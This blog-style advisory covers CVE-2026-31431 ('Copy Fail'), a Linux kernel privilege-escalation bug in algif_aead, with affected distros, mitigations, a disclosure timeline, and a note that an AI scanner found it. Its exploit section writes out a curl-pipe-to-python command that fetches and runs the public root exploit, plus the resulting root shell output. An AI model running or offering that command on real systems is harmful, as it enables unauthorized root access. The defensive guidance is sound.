Most local privilege escalation exploits need a race window. A kernel-specific offset. A carefully constructed sequence of syscalls that only works on one distro, one kernel version, one Tuesday when Mercury is in retrograde.

Copy Fail needs none of that.

The same 732-byte Python script - stdlib only, no compilation, no external dependencies - drops a root shell on Ubuntu, Amazon Linux, RHEL, and SUSE. In one take. Unmodified.

Bug

The vulnerability is CVE-2026-31431, found in authencesn - the kernel’s combined authentication-and-encryption module. A logic flaw introduced in 2017 in algif_aead (the AF_ALG interface for AEAD ciphers) causes page cache pages to land in the writable destination scatterlist when they shouldn’t.

Chain it with splice() and you get a 4-byte arbitrary write into the page cache. Target /usr/bin/su or any setuid binary. Done.

The write isn’t persistent across reboot. The root shell absolutely is.

What makes this particularly uncomfortable: AF_ALG is enabled by default in essentially every mainstream Linux distribution. There’s no unusual configuration required. If your kernel was built between 2017 and the patch date, you’re in scope.

Who’s affected

If you’re running a mainstream Linux distribution and haven’t patched yet, you’re affected. The researchers directly verified:

Distribution Kernel
Ubuntu 24.04 LTS 6.17.0-1007-aws
Amazon Linux 2023 6.18.8-9.213.amzn2023
RHEL 10.1 6.12.0-124.45.1.el10_1
SUSE 16 6.12.0-160000.9-default

Debian, Arch, Fedora, Rocky, Alma, Oracle — same story if the kernel version falls in the affected range. This isn’t a distro-specific quirk. It’s a kernel bug.

The exploit only requires an unprivileged local user account. No network access. No debug interfaces. No pre-installed primitives.

The High-Risk Scenarios

Multi-tenant Linux hosts. Shared dev boxes, jump hosts, build servers. Anyone who can SSH in becomes root. This is the obvious one.

Kubernetes clusters. The page cache is shared across the host. A compromised pod isn’t just a pod problem anymore - it’s a node problem, and potentially a cross-tenant problem.

CI runners. GitHub Actions self-hosted runners, GitLab agents, Jenkins nodes that execute PR code. A malicious pull request doesn’t just exfiltrate secrets. It roots the runner. Think about what else has access to that machine.

Cloud SaaS running user code. Notebook hosts, agent sandboxes, serverless containers. The blast radius is obvious.

Standard single-tenant servers are lower priority - but not zero. Combined with a web RCE or stolen credentials, local privilege escalation completes the chain.

Exploit

The PoC is published. Python 3.10+, pure stdlib (os, socket, zlib). Targets /usr/bin/su by default, accepts any setuid binary as argv[1].

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

The PoC is public so defenders can verify their own systems and validate vendor patches. Use responsibly. Run only on systems you own or have written authorization to test.

How to Fix It

Step one: patch. Update to a kernel that includes mainline commit a664bf3d603d. It reverts the 2017 algif_aead in-place optimization. Most major distributions are shipping the fix now.

Step two: if you can’t patch immediately, disable algif_aead:

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead

For the vast majority of systems, this breaks nothing measurable. It does not affect dm-crypt/LUKS, kTLS, IPsec, OpenSSL, GnuTLS, NSS, or SSH. These all use the in-kernel crypto API directly — not through AF_ALG.

The only things potentially affected are userspace applications explicitly configured to use AF_ALG — OpenSSL with the afalg engine enabled, some embedded crypto offload paths, or anything that binds aead/skcipher/hash sockets directly. Check with:

lsof | grep AF_ALG

For untrusted workloads (containers, CI, sandboxes): block AF_ALG socket creation via seccomp regardless of patch status.

The Timeline

  • 2026-03-23 - Reported to the Linux kernel security team
  • 2026-03-24 - Initial acknowledgment
  • 2026-03-25 - Patches proposed and reviewed
  • 2026-04-01 - Patch committed to mainline
  • 2026-04-22 - CVE-2026-31431 assigned
  • 2026-04-29 - Public disclosure at copy.fail Roughly five weeks from report to public disclosure. That’s a reasonable timeline for something this serious.

How It Was Found

This is the part I find most interesting.

Copy Fail was surfaced by Xint Code - an AI-powered static analysis tool - after about an hour of scan time against the Linux crypto/ subsystem. The same scan apparently surfaced other high-severity bugs that are still in coordinated disclosure.

One hour. Nine years of exposure.

I don’t think this means human reviewers were asleep. The Linux kernel crypto/ subsystem is vast, complex, and receives constant changes. Logic bugs in the interaction between AEAD interfaces and scatter-gather lists are exactly the kind of thing that’s easy to overlook when you’re reviewing a specific commit in isolation but hard to catch when you don’t have a bird’s-eye view of how primitives interact at runtime.

AI tooling that can reason about cross-subsystem data flow changes the economics of this kind of audit. The question isn’t whether this is impressive — it clearly is. The question is how many more a664bf3d603d-shaped bugs are sitting in codebases right now waiting for someone (or something) to point a scanner at the right directory.

What to Do Right Now

  1. Check if your kernel includes a664bf3d603d. Your distribution vendor’s security advisory will confirm.
  2. If not patched: rmmod algif_aead and block it via modprobe.
  3. For Kubernetes and CI environments: seccomp policy to block AF_ALG socket creation, regardless of patch state.
  4. Check your runner setup. If you’re running untrusted PR code on a shared kernel - read point 3 again. The exploit is public. The patch is available. The window between those two facts is the only thing that matters right now.

This site runs on coffee and good intentions. Help keep it running? BuyMeACoffee


Reference:

  1. copy.fail — CVE-2026-31431
  2. GitHub — copy-fail-CVE-2026-31431
  3. Xint blog write-up